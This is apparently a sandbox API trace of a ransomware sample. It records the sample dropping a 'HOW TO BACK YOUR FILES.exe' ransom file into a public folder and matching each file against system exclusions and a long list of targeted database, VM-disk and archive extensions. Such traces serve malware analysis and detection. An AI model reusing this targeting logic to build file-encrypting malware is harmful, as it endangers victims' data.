	[0035.670] FindNextFileW (in: hFindFile=0x5ca050, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x282dfaee, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28886f39, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Videos", cAlternateFileName="")) returned 0
	[0035.670] FindClose (in: hFindFile=0x5ca050 | out: hFindFile=0x5ca050) returned 1
	[0035.670] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7b90
	[0035.670] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\Public\\Videos", iMaxLength=260 | out: lpString1="C:\\Users\\Public\\Videos") returned="C:\\Users\\Public\\Videos"
	[0035.670] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7f08 | out: hHeap=0x580000) returned 1
	[0035.670] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7b88 | out: hHeap=0x580000) returned 1
	[0035.670] lstrlenW (lpString="C:\\Users\\Public\\Videos") returned 22
	[0035.670] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Public\\Videos" | out: lpString1="C:\\Users\\Public\\Videos") returned="C:\\Users\\Public\\Videos"
	[0035.670] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0035.670] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Public\\Videos\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\public\\videos\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0035.674] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0035.674] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Videos\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2d8e9c30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d8e9c30, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0035.674] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0035.674] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0035.674] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0035.674] FindNextFileW (in: hFindFile=0x5ca050, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2d8e9c30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d8e9c30, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0035.674] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0035.674] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0035.674] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0035.674] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0035.674] FindNextFileW (in: hFindFile=0x5ca050, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x282dfaee, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x282dfaee, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28886f39, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x17c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0035.674] lstrcmpiW (lpString1="desktop.ini", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0035.674] lstrcmpiW (lpString1="desktop.ini", lpString2="Apollon865.txt.exe") returned 1
	[0035.674] lstrcmpiW (lpString1="desktop.ini", lpString2=".") returned 1
	[0035.674] lstrcmpiW (lpString1="desktop.ini", lpString2="..") returned 1
	[0035.674] lstrcmpiW (lpString1="desktop.ini", lpString2="windows") returned -1
	[0035.675] lstrcmpiW (lpString1="desktop.ini", lpString2="bootmgr") returned 1
	[0035.675] lstrcmpiW (lpString1="desktop.ini", lpString2="temp") returned -1
	[0035.675] lstrcmpiW (lpString1="desktop.ini", lpString2="pagefile.sys") returned -1
	[0035.675] lstrcmpiW (lpString1="desktop.ini", lpString2="boot") returned 1
	[0035.675] lstrcmpiW (lpString1="desktop.ini", lpString2="ids.txt") returned -1
	[0035.675] lstrcmpiW (lpString1="desktop.ini", lpString2="ntuser.dat") returned -1
	[0035.675] lstrcmpiW (lpString1="desktop.ini", lpString2="perflogs") returned -1
	[0035.675] lstrcmpiW (lpString1="desktop.ini", lpString2="MSBuild") returned -1
	[0035.675] lstrlenW (lpString="desktop.ini") returned 11
	[0035.675] lstrlenW (lpString="C:\\Users\\Public\\Videos\\*") returned 24
	[0035.675] lstrcpyW (in: lpString1=0x2d3e57e, lpString2="desktop.ini" | out: lpString1="desktop.ini") returned="desktop.ini"
	[0035.675] lstrlenW (lpString="desktop.ini") returned 11
	[0035.675] lstrlenW (lpString="Apollon865") returned 10
	[0035.675] lstrcmpiW (lpString1="esktop.ini", lpString2="Apollon865") returned 1
	[0035.675] lstrlenW (lpString=".dll") returned 4
	[0035.675] lstrcmpiW (lpString1="desktop.ini", lpString2=".dll") returned 1
	[0035.675] lstrlenW (lpString=".lnk") returned 4
	[0035.675] lstrcmpiW (lpString1="desktop.ini", lpString2=".lnk") returned 1
	[0035.675] lstrlenW (lpString=".ini") returned 4
	[0035.675] lstrcmpiW (lpString1="desktop.ini", lpString2=".ini") returned 1
	[0035.675] lstrlenW (lpString=".sys") returned 4
	[0035.675] lstrcmpiW (lpString1="desktop.ini", lpString2=".sys") returned 1
	[0035.675] lstrlenW (lpString="desktop.ini") returned 11
	[0035.675] lstrlenW (lpString="bak") returned 3
	[0035.675] lstrcmpiW (lpString1="ini", lpString2="bak") returned 1
	[0035.675] lstrlenW (lpString="ba_") returned 3
	[0035.675] lstrcmpiW (lpString1="ini", lpString2="ba_") returned 1
	[0035.675] lstrlenW (lpString="dbb") returned 3
	[0035.675] lstrcmpiW (lpString1="ini", lpString2="dbb") returned 1
	[0035.675] lstrlenW (lpString="vmdk") returned 4
	[0035.675] lstrcmpiW (lpString1=".ini", lpString2="vmdk") returned -1
	[0035.675] lstrlenW (lpString="rar") returned 3
	[0035.675] lstrcmpiW (lpString1="ini", lpString2="rar") returned -1
	[0035.675] lstrlenW (lpString="zip") returned 3
	[0035.675] lstrcmpiW (lpString1="ini", lpString2="zip") returned -1
	[0035.675] lstrlenW (lpString="tgz") returned 3
	[0035.675] lstrcmpiW (lpString1="ini", lpString2="tgz") returned -1
	[0035.675] lstrlenW (lpString="vbox") returned 4
	[0035.675] lstrcmpiW (lpString1=".ini", lpString2="vbox") returned -1
	[0035.676] lstrlenW (lpString="vdi") returned 3
	[0035.676] lstrcmpiW (lpString1="ini", lpString2="vdi") returned -1
	[0035.676] lstrlenW (lpString="vhd") returned 3
	[0035.676] lstrcmpiW (lpString1="ini", lpString2="vhd") returned -1
	[0035.676] lstrlenW (lpString="vhdx") returned 4
	[0035.676] lstrcmpiW (lpString1=".ini", lpString2="vhdx") returned -1
	[0035.676] lstrlenW (lpString="avhd") returned 4
	[0035.676] lstrcmpiW (lpString1=".ini", lpString2="avhd") returned -1
	[0035.676] lstrlenW (lpString="db") returned 2
	[0035.676] lstrcmpiW (lpString1="ni", lpString2="db") returned 1
	[0035.676] lstrlenW (lpString="db2") returned 3
	[0035.676] lstrcmpiW (lpString1="ini", lpString2="db2") returned 1
	[0035.676] lstrlenW (lpString="db3") returned 3
	[0035.676] lstrcmpiW (lpString1="ini", lpString2="db3") returned 1
	[0035.676] lstrlenW (lpString="dbf") returned 3
	[0035.676] lstrcmpiW (lpString1="ini", lpString2="dbf") returned 1
	[0035.676] lstrlenW (lpString="mdf") returned 3
	[0035.676] lstrcmpiW (lpString1="ini", lpString2="mdf") returned -1
	[0035.676] lstrlenW (lpString="mdb") returned 3
	[0035.676] lstrcmpiW (lpString1="ini", lpString2="mdb") returned -1
	[0035.676] lstrlenW (lpString="sql") returned 3
	[0035.676] lstrcmpiW (lpString1="ini", lpString2="sql") returned -1
	[0035.676] lstrlenW (lpString="sqlite") returned 6
	[0035.676] lstrcmpiW (lpString1="op.ini", lpString2="sqlite") returned -1
	[0035.676] lstrlenW (lpString="sqlite3") returned 7
	[0035.676] lstrcmpiW (lpString1="top.ini", lpString2="sqlite3") returned 1
	[0035.676] lstrlenW (lpString="sqlitedb") returned 8
	[0035.676] lstrcmpiW (lpString1="ktop.ini", lpString2="sqlitedb") returned -1
	[0035.676] lstrlenW (lpString="xml") returned 3
	[0035.676] lstrcmpiW (lpString1="ini", lpString2="xml") returned -1
	[0035.676] lstrlenW (lpString="$er") returned 3
	[0035.676] lstrcmpiW (lpString1="ini", lpString2="$er") returned 1
	[0035.676] lstrlenW (lpString="4dd") returned 3
	[0035.676] lstrcmpiW (lpString1="ini", lpString2="4dd") returned 1
	[0035.676] lstrlenW (lpString="4dl") returned 3
	[0035.676] lstrcmpiW (lpString1="ini", lpString2="4dl") returned 1
	[0035.676] lstrlenW (lpString="^^^") returned 3
	[0035.676] lstrcmpiW (lpString1="ini", lpString2="^^^") returned 1
	[0035.676] lstrlenW (lpString="abs") returned 3
	[0035.676] lstrcmpiW (lpString1="ini", lpString2="abs") returned 1
	[0035.677] lstrlenW (lpString="abx") returned 3
	[0035.677] lstrcmpiW (lpString1="ini", lpString2="abx") returned 1
	[0035.677] lstrlenW (lpString="accdb") returned 5
	[0035.677] lstrcmpiW (lpString1="p.ini", lpString2="accdb") returned 1
	[0035.677] lstrlenW (lpString="accdc") returned 5
	[0035.677] lstrcmpiW (lpString1="p.ini", lpString2="accdc") returned 1
	[0035.677] lstrlenW (lpString="accde") returned 5
	[0035.677] lstrcmpiW (lpString1="p.ini", lpString2="accde") returned 1
	[0035.677] lstrlenW (lpString="accdr") returned 5
	[0035.677] lstrcmpiW (lpString1="p.ini", lpString2="accdr") returned 1
	[0035.677] lstrlenW (lpString="accdt") returned 5
	[0035.677] lstrcmpiW (lpString1="p.ini", lpString2="accdt") returned 1
	[0035.677] lstrlenW (lpString="accdw") returned 5
	[0035.677] lstrcmpiW (lpString1="p.ini", lpString2="accdw") returned 1
	[0035.677] lstrlenW (lpString="accft") returned 5
	[0035.677] lstrcmpiW (lpString1="p.ini", lpString2="accft") returned 1
	[0035.677] lstrlenW (lpString="adb") returned 3
	[0035.677] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1
	[0035.677] lstrlenW (lpString="adb") returned 3
	[0035.677] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1
	[0035.677] lstrlenW (lpString="ade") returned 3
	[0035.677] lstrcmpiW (lpString1="ini", lpString2="ade") returned 1
	[0035.677] lstrlenW (lpString="adf") returned 3
	[0035.677] lstrcmpiW (lpString1="ini", lpString2="adf") returned 1
	[0035.677] lstrlenW (lpString="adn") returned 3
	[0035.677] lstrcmpiW (lpString1="ini", lpString2="adn") returned 1
	[0035.677] lstrlenW (lpString="adp") returned 3
	[0035.677] lstrcmpiW (lpString1="ini", lpString2="adp") returned 1
	[0035.677] lstrlenW (lpString="alf") returned 3
	[0035.677] lstrcmpiW (lpString1="ini", lpString2="alf") returned 1
	[0035.677] lstrlenW (lpString="ask") returned 3
	[0035.677] lstrcmpiW (lpString1="ini", lpString2="ask") returned 1
	[0035.677] lstrlenW (lpString="btr") returned 3
	[0035.677] lstrcmpiW (lpString1="ini", lpString2="btr") returned 1
	[0035.677] lstrlenW (lpString="cat") returned 3
	[0035.677] lstrcmpiW (lpString1="ini", lpString2="cat") returned 1
	[0035.677] lstrlenW (lpString="cdb") returned 3
	[0035.677] lstrcmpiW (lpString1="ini", lpString2="cdb") returned 1
	[0035.678] lstrlenW (lpString="ckp") returned 3
	[0035.678] lstrcmpiW (lpString1="ini", lpString2="ckp") returned 1
	[0035.678] lstrlenW (lpString="cma") returned 3
	[0035.678] lstrcmpiW (lpString1="ini", lpString2="cma") returned 1
	[0035.678] lstrlenW (lpString="cpd") returned 3
	[0035.679] lstrcmpiW (lpString1="ini", lpString2="cpd") returned 1
	[0035.679] lstrlenW (lpString="dacpac") returned 6
	[0035.679] lstrcmpiW (lpString1="op.ini", lpString2="dacpac") returned 1
	[0035.679] lstrlenW (lpString="dad") returned 3
	[0035.679] lstrcmpiW (lpString1="ini", lpString2="dad") returned 1
	[0035.679] lstrlenW (lpString="dadiagrams") returned 10
	[0035.679] lstrcmpiW (lpString1="esktop.ini", lpString2="dadiagrams") returned 1
	[0035.679] lstrlenW (lpString="daschema") returned 8
	[0035.679] lstrcmpiW (lpString1="ktop.ini", lpString2="daschema") returned 1
	[0035.679] lstrlenW (lpString="db-journal") returned 10
	[0035.679] lstrcmpiW (lpString1="esktop.ini", lpString2="db-journal") returned 1
	[0035.679] lstrlenW (lpString="db-shm") returned 6
	[0035.679] lstrcmpiW (lpString1="op.ini", lpString2="db-shm") returned 1
	[0035.679] lstrlenW (lpString="db-wal") returned 6
	[0035.679] lstrcmpiW (lpString1="op.ini", lpString2="db-wal") returned 1
	[0035.679] lstrlenW (lpString="dbc") returned 3
	[0035.679] lstrcmpiW (lpString1="ini", lpString2="dbc") returned 1
	[0035.679] lstrlenW (lpString="dbs") returned 3
	[0035.679] lstrcmpiW (lpString1="ini", lpString2="dbs") returned 1
	[0035.679] lstrlenW (lpString="dbt") returned 3
	[0035.679] lstrcmpiW (lpString1="ini", lpString2="dbt") returned 1
	[0035.679] lstrlenW (lpString="dbv") returned 3
	[0035.679] lstrcmpiW (lpString1="ini", lpString2="dbv") returned 1
	[0035.679] lstrlenW (lpString="dbx") returned 3
	[0035.679] lstrcmpiW (lpString1="ini", lpString2="dbx") returned 1
	[0035.679] lstrlenW (lpString="dcb") returned 3
	[0035.679] lstrcmpiW (lpString1="ini", lpString2="dcb") returned 1
	[0035.679] lstrlenW (lpString="dct") returned 3
	[0035.679] lstrcmpiW (lpString1="ini", lpString2="dct") returned 1
	[0035.679] lstrlenW (lpString="dcx") returned 3
	[0035.679] lstrcmpiW (lpString1="ini", lpString2="dcx") returned 1
	[0035.679] lstrlenW (lpString="ddl") returned 3
	[0035.680] lstrcmpiW (lpString1="ini", lpString2="ddl") returned 1
	[0035.680] lstrlenW (lpString="dlis") returned 4
	[0035.680] lstrcmpiW (lpString1=".ini", lpString2="dlis") returned -1
	[0035.680] lstrlenW (lpString="dp1") returned 3
	[0035.680] lstrcmpiW (lpString1="ini", lpString2="dp1") returned 1
	[0035.680] lstrlenW (lpString="dqy") returned 3
	[0035.680] lstrcmpiW (lpString1="ini", lpString2="dqy") returned 1
	[0035.680] lstrlenW (lpString="dsk") returned 3
	[0035.680] lstrcmpiW (lpString1="ini", lpString2="dsk") returned 1
	[0035.680] lstrlenW (lpString="dsn") returned 3
	[0035.680] lstrcmpiW (lpString1="ini", lpString2="dsn") returned 1
	[0035.680] lstrlenW (lpString="dtsx") returned 4
	[0035.680] lstrcmpiW (lpString1=".ini", lpString2="dtsx") returned -1
	[0035.680] lstrlenW (lpString="dxl") returned 3
	[0035.680] lstrcmpiW (lpString1="ini", lpString2="dxl") returned 1
	[0035.680] lstrlenW (lpString="eco") returned 3
	[0035.680] lstrcmpiW (lpString1="ini", lpString2="eco") returned 1
	[0035.680] lstrlenW (lpString="ecx") returned 3
	[0035.680] lstrcmpiW (lpString1="ini", lpString2="ecx") returned 1
	[0035.680] lstrlenW (lpString="edb") returned 3
	[0035.680] lstrcmpiW (lpString1="ini", lpString2="edb") returned 1
	[0035.680] lstrlenW (lpString="epim") returned 4
	[0035.680] lstrcmpiW (lpString1=".ini", lpString2="epim") returned -1
	[0035.680] lstrlenW (lpString="fcd") returned 3
	[0035.680] lstrcmpiW (lpString1="ini", lpString2="fcd") returned 1
	[0035.680] lstrlenW (lpString="fdb") returned 3
	[0035.680] lstrcmpiW (lpString1="ini", lpString2="fdb") returned 1
	[0035.680] lstrlenW (lpString="fic") returned 3
	[0035.680] lstrcmpiW (lpString1="ini", lpString2="fic") returned 1
	[0035.680] lstrlenW (lpString="flexolibrary") returned 12
	[0035.680] lstrlenW (lpString="fm5") returned 3
	[0035.680] lstrcmpiW (lpString1="ini", lpString2="fm5") returned 1
	[0035.680] lstrlenW (lpString="fmp") returned 3
	[0035.680] lstrcmpiW (lpString1="ini", lpString2="fmp") returned 1
	[0035.680] lstrlenW (lpString="fmp12") returned 5
	[0035.680] lstrcmpiW (lpString1="p.ini", lpString2="fmp12") returned 1
	[0035.680] lstrlenW (lpString="fmpsl") returned 5
	[0035.680] lstrcmpiW (lpString1="p.ini", lpString2="fmpsl") returned 1
	[0035.680] lstrlenW (lpString="fol") returned 3
	[0035.680] lstrcmpiW (lpString1="ini", lpString2="fol") returned 1
	[0035.681] lstrlenW (lpString="fp3") returned 3
	[0035.681] lstrcmpiW (lpString1="ini", lpString2="fp3") returned 1
	[0035.681] lstrlenW (lpString="fp4") returned 3
	[0035.681] lstrcmpiW (lpString1="ini", lpString2="fp4") returned 1
	[0035.681] lstrlenW (lpString="fp5") returned 3
	[0035.681] lstrcmpiW (lpString1="ini", lpString2="fp5") returned 1
	[0035.681] lstrlenW (lpString="fp7") returned 3
	[0035.681] lstrcmpiW (lpString1="ini", lpString2="fp7") returned 1
	[0035.681] lstrlenW (lpString="fpt") returned 3
	[0035.681] lstrcmpiW (lpString1="ini", lpString2="fpt") returned 1
	[0035.681] lstrlenW (lpString="frm") returned 3
	[0035.681] lstrcmpiW (lpString1="ini", lpString2="frm") returned 1
	[0035.681] lstrlenW (lpString="gdb") returned 3
	[0035.681] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1
	[0035.681] lstrlenW (lpString="gdb") returned 3
	[0035.681] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1
	[0035.681] lstrlenW (lpString="grdb") returned 4
	[0035.681] lstrcmpiW (lpString1=".ini", lpString2="grdb") returned -1
	[0035.681] lstrlenW (lpString="gwi") returned 3
	[0035.681] lstrcmpiW (lpString1="ini", lpString2="gwi") returned 1
	[0035.681] lstrlenW (lpString="hdb") returned 3
	[0035.681] lstrcmpiW (lpString1="ini", lpString2="hdb") returned 1
	[0035.681] lstrlenW (lpString="his") returned 3
	[0035.681] lstrcmpiW (lpString1="ini", lpString2="his") returned 1
	[0035.681] lstrlenW (lpString="ib") returned 2
	[0035.682] lstrcmpiW (lpString1="ni", lpString2="ib") returned 1
	[0035.682] lstrlenW (lpString="idb") returned 3
	[0035.682] lstrcmpiW (lpString1="ini", lpString2="idb") returned 1
	[0035.682] lstrlenW (lpString="ihx") returned 3
	[0035.682] lstrcmpiW (lpString1="ini", lpString2="ihx") returned 1
	[0035.682] lstrlenW (lpString="itdb") returned 4
	[0035.682] lstrcmpiW (lpString1=".ini", lpString2="itdb") returned -1
	[0035.682] lstrlenW (lpString="itw") returned 3
	[0035.682] lstrcmpiW (lpString1="ini", lpString2="itw") returned -1
	[0035.682] lstrlenW (lpString="jet") returned 3
	[0035.682] lstrcmpiW (lpString1="ini", lpString2="jet") returned -1
	[0035.682] lstrlenW (lpString="jtx") returned 3
	[0035.682] lstrcmpiW (lpString1="ini", lpString2="jtx") returned -1
	[0035.682] lstrlenW (lpString="kdb") returned 3
	[0035.682] lstrcmpiW (lpString1="ini", lpString2="kdb") returned -1
	[0035.682] lstrlenW (lpString="kexi") returned 4
	[0035.682] lstrcmpiW (lpString1=".ini", lpString2="kexi") returned -1
	[0035.682] lstrlenW (lpString="kexic") returned 5
	[0035.682] lstrcmpiW (lpString1="p.ini", lpString2="kexic") returned 1
	[0035.682] lstrlenW (lpString="kexis") returned 5
	[0035.682] lstrcmpiW (lpString1="p.ini", lpString2="kexis") returned 1
	[0035.682] lstrlenW (lpString="lgc") returned 3
	[0035.682] lstrcmpiW (lpString1="ini", lpString2="lgc") returned -1
	[0035.682] lstrlenW (lpString="lwx") returned 3
	[0035.682] lstrcmpiW (lpString1="ini", lpString2="lwx") returned -1
	[0035.682] lstrlenW (lpString="maf") returned 3
	[0035.682] lstrcmpiW (lpString1="ini", lpString2="maf") returned -1
	[0035.682] lstrlenW (lpString="maq") returned 3
	[0035.682] lstrcmpiW (lpString1="ini", lpString2="maq") returned -1
	[0035.682] lstrlenW (lpString="mar") returned 3
	[0035.682] lstrcmpiW (lpString1="ini", lpString2="mar") returned -1
	[0035.682] lstrlenW (lpString="marshal") returned 7
	[0035.682] lstrcmpiW (lpString1="top.ini", lpString2="marshal") returned 1
	[0035.682] lstrlenW (lpString="mas") returned 3
	[0035.682] lstrcmpiW (lpString1="ini", lpString2="mas") returned -1
	[0035.682] lstrlenW (lpString="mav") returned 3
	[0035.682] lstrcmpiW (lpString1="ini", lpString2="mav") returned -1
	[0035.682] lstrlenW (lpString="maw") returned 3
	[0035.683] lstrcmpiW (lpString1="ini", lpString2="maw") returned -1
	[0035.683] lstrlenW (lpString="mdbhtml") returned 7
	[0035.683] lstrcmpiW (lpString1="top.ini", lpString2="mdbhtml") returned 1
	[0035.683] lstrlenW (lpString="mdn") returned 3
	[0035.683] lstrcmpiW (lpString1="ini", lpString2="mdn") returned -1
	[0035.683] lstrlenW (lpString="mdt") returned 3
	[0035.683] lstrcmpiW (lpString1="ini", lpString2="mdt") returned -1
	[0035.683] lstrlenW (lpString="mfd") returned 3
	[0035.683] lstrcmpiW (lpString1="ini", lpString2="mfd") returned -1
	[0035.683] lstrlenW (lpString="mpd") returned 3
	[0035.683] lstrcmpiW (lpString1="ini", lpString2="mpd") returned -1
	[0035.683] lstrlenW (lpString="mrg") returned 3
	[0035.683] lstrcmpiW (lpString1="ini", lpString2="mrg") returned -1
	[0035.683] lstrlenW (lpString="mud") returned 3
	[0035.683] lstrcmpiW (lpString1="ini", lpString2="mud") returned -1
	[0035.683] lstrlenW (lpString="mwb") returned 3
	[0035.683] lstrcmpiW (lpString1="ini", lpString2="mwb") returned -1
	[0035.683] lstrlenW (lpString="myd") returned 3
	[0035.683] lstrcmpiW (lpString1="ini", lpString2="myd") returned -1
	[0035.683] lstrlenW (lpString="ndf") returned 3
	[0035.683] lstrcmpiW (lpString1="ini", lpString2="ndf") returned -1
	[0035.683] lstrlenW (lpString="nnt") returned 3
	[0035.683] lstrcmpiW (lpString1="ini", lpString2="nnt") returned -1
	[0035.683] lstrlenW (lpString="nrmlib") returned 6
	[0035.683] lstrcmpiW (lpString1="op.ini", lpString2="nrmlib") returned 1
	[0035.683] lstrlenW (lpString="ns2") returned 3
	[0035.683] lstrcmpiW (lpString1="ini", lpString2="ns2") returned -1
	[0035.683] lstrlenW (lpString="ns3") returned 3
	[0035.683] lstrcmpiW (lpString1="ini", lpString2="ns3") returned -1
	[0035.683] lstrlenW (lpString="ns4") returned 3
	[0035.683] lstrcmpiW (lpString1="ini", lpString2="ns4") returned -1
	[0035.683] lstrlenW (lpString="nsf") returned 3
	[0035.683] lstrcmpiW (lpString1="ini", lpString2="nsf") returned -1
	[0035.683] lstrlenW (lpString="nv") returned 2
	[0035.683] lstrcmpiW (lpString1="ni", lpString2="nv") returned -1
	[0035.683] lstrlenW (lpString="nv2") returned 3
	[0035.683] lstrcmpiW (lpString1="ini", lpString2="nv2") returned -1
	[0035.683] lstrlenW (lpString="nwdb") returned 4
	[0035.683] lstrcmpiW (lpString1=".ini", lpString2="nwdb") returned -1
	[0035.684] lstrlenW (lpString="nyf") returned 3
	[0035.684] lstrcmpiW (lpString1="ini", lpString2="nyf") returned -1
	[0035.684] lstrlenW (lpString="odb") returned 3
	[0035.684] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1
	[0035.684] lstrlenW (lpString="odb") returned 3
	[0035.684] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1
	[0035.684] lstrlenW (lpString="oqy") returned 3
	[0035.684] lstrcmpiW (lpString1="ini", lpString2="oqy") returned -1
	[0035.684] lstrlenW (lpString="ora") returned 3
	[0035.684] lstrcmpiW (lpString1="ini", lpString2="ora") returned -1
	[0035.684] lstrlenW (lpString="orx") returned 3
	[0035.684] lstrcmpiW (lpString1="ini", lpString2="orx") returned -1
	[0035.684] lstrlenW (lpString="owc") returned 3
	[0035.684] lstrcmpiW (lpString1="ini", lpString2="owc") returned -1
	[0035.684] lstrlenW (lpString="p96") returned 3
	[0035.684] lstrcmpiW (lpString1="ini", lpString2="p96") returned -1
	[0035.684] lstrlenW (lpString="p97") returned 3
	[0035.684] lstrcmpiW (lpString1="ini", lpString2="p97") returned -1
	[0035.684] lstrlenW (lpString="pan") returned 3
	[0035.684] lstrcmpiW (lpString1="ini", lpString2="pan") returned -1
	[0035.684] lstrlenW (lpString="pdb") returned 3
	[0035.684] lstrcmpiW (lpString1="ini", lpString2="pdb") returned -1
	[0035.684] lstrlenW (lpString="pdm") returned 3
	[0035.684] lstrcmpiW (lpString1="ini", lpString2="pdm") returned -1
	[0035.684] lstrlenW (lpString="pnz") returned 3
	[0035.684] lstrcmpiW (lpString1="ini", lpString2="pnz") returned -1
	[0035.684] lstrlenW (lpString="qry") returned 3
	[0035.684] lstrcmpiW (lpString1="ini", lpString2="qry") returned -1
	[0035.684] lstrlenW (lpString="qvd") returned 3
	[0035.684] lstrcmpiW (lpString1="ini", lpString2="qvd") returned -1
	[0035.684] lstrlenW (lpString="rbf") returned 3
	[0035.684] lstrcmpiW (lpString1="ini", lpString2="rbf") returned -1
	[0035.684] lstrlenW (lpString="rctd") returned 4
	[0035.684] lstrcmpiW (lpString1=".ini", lpString2="rctd") returned -1
	[0035.684] lstrlenW (lpString="rod") returned 3
	[0035.684] lstrcmpiW (lpString1="ini", lpString2="rod") returned -1
	[0035.684] lstrlenW (lpString="rodx") returned 4
	[0035.684] lstrcmpiW (lpString1=".ini", lpString2="rodx") returned -1
	[0035.684] lstrlenW (lpString="rpd") returned 3
	[0035.684] lstrcmpiW (lpString1="ini", lpString2="rpd") returned -1
	[0035.685] lstrlenW (lpString="rsd") returned 3
	[0035.685] lstrcmpiW (lpString1="ini", lpString2="rsd") returned -1
	[0035.685] lstrlenW (lpString="sas7bdat") returned 8
	[0035.685] lstrcmpiW (lpString1="ktop.ini", lpString2="sas7bdat") returned -1
	[0035.685] lstrlenW (lpString="sbf") returned 3
	[0035.685] lstrcmpiW (lpString1="ini", lpString2="sbf") returned -1
	[0035.685] lstrlenW (lpString="scx") returned 3
	[0035.685] lstrcmpiW (lpString1="ini", lpString2="scx") returned -1
	[0035.685] lstrlenW (lpString="sdb") returned 3
	[0035.685] lstrcmpiW (lpString1="ini", lpString2="sdb") returned -1
	[0035.685] lstrlenW (lpString="sdc") returned 3
	[0035.685] lstrcmpiW (lpString1="ini", lpString2="sdc") returned -1
	[0035.685] lstrlenW (lpString="sdf") returned 3
	[0035.685] lstrcmpiW (lpString1="ini", lpString2="sdf") returned -1
	[0035.685] lstrlenW (lpString="sis") returned 3
	[0035.685] lstrcmpiW (lpString1="ini", lpString2="sis") returned -1
	[0035.685] lstrlenW (lpString="spq") returned 3
	[0035.685] lstrcmpiW (lpString1="ini", lpString2="spq") returned -1
	[0035.685] lstrlenW (lpString="te") returned 2
	[0035.685] lstrcmpiW (lpString1="ni", lpString2="te") returned -1
	[0035.685] lstrlenW (lpString="teacher") returned 7
	[0035.685] lstrcmpiW (lpString1="top.ini", lpString2="teacher") returned 1
	[0035.685] lstrlenW (lpString="tmd") returned 3
	[0035.685] lstrcmpiW (lpString1="ini", lpString2="tmd") returned -1
	[0035.685] lstrlenW (lpString="tps") returned 3
	[0035.685] lstrcmpiW (lpString1="ini", lpString2="tps") returned -1
	[0035.685] lstrlenW (lpString="trc") returned 3
	[0035.685] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1
	[0035.685] lstrlenW (lpString="trc") returned 3
	[0035.685] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1
	[0035.685] lstrlenW (lpString="trm") returned 3
	[0035.685] lstrcmpiW (lpString1="ini", lpString2="trm") returned -1
	[0035.685] lstrlenW (lpString="udb") returned 3
	[0035.685] lstrcmpiW (lpString1="ini", lpString2="udb") returned -1
	[0035.685] lstrlenW (lpString="udl") returned 3
	[0035.685] lstrcmpiW (lpString1="ini", lpString2="udl") returned -1
	[0035.685] lstrlenW (lpString="usr") returned 3
	[0035.685] lstrcmpiW (lpString1="ini", lpString2="usr") returned -1
	[0035.686] lstrlenW (lpString="v12") returned 3
	[0035.686] lstrcmpiW (lpString1="ini", lpString2="v12") returned -1
	[0035.686] lstrlenW (lpString="vis") returned 3
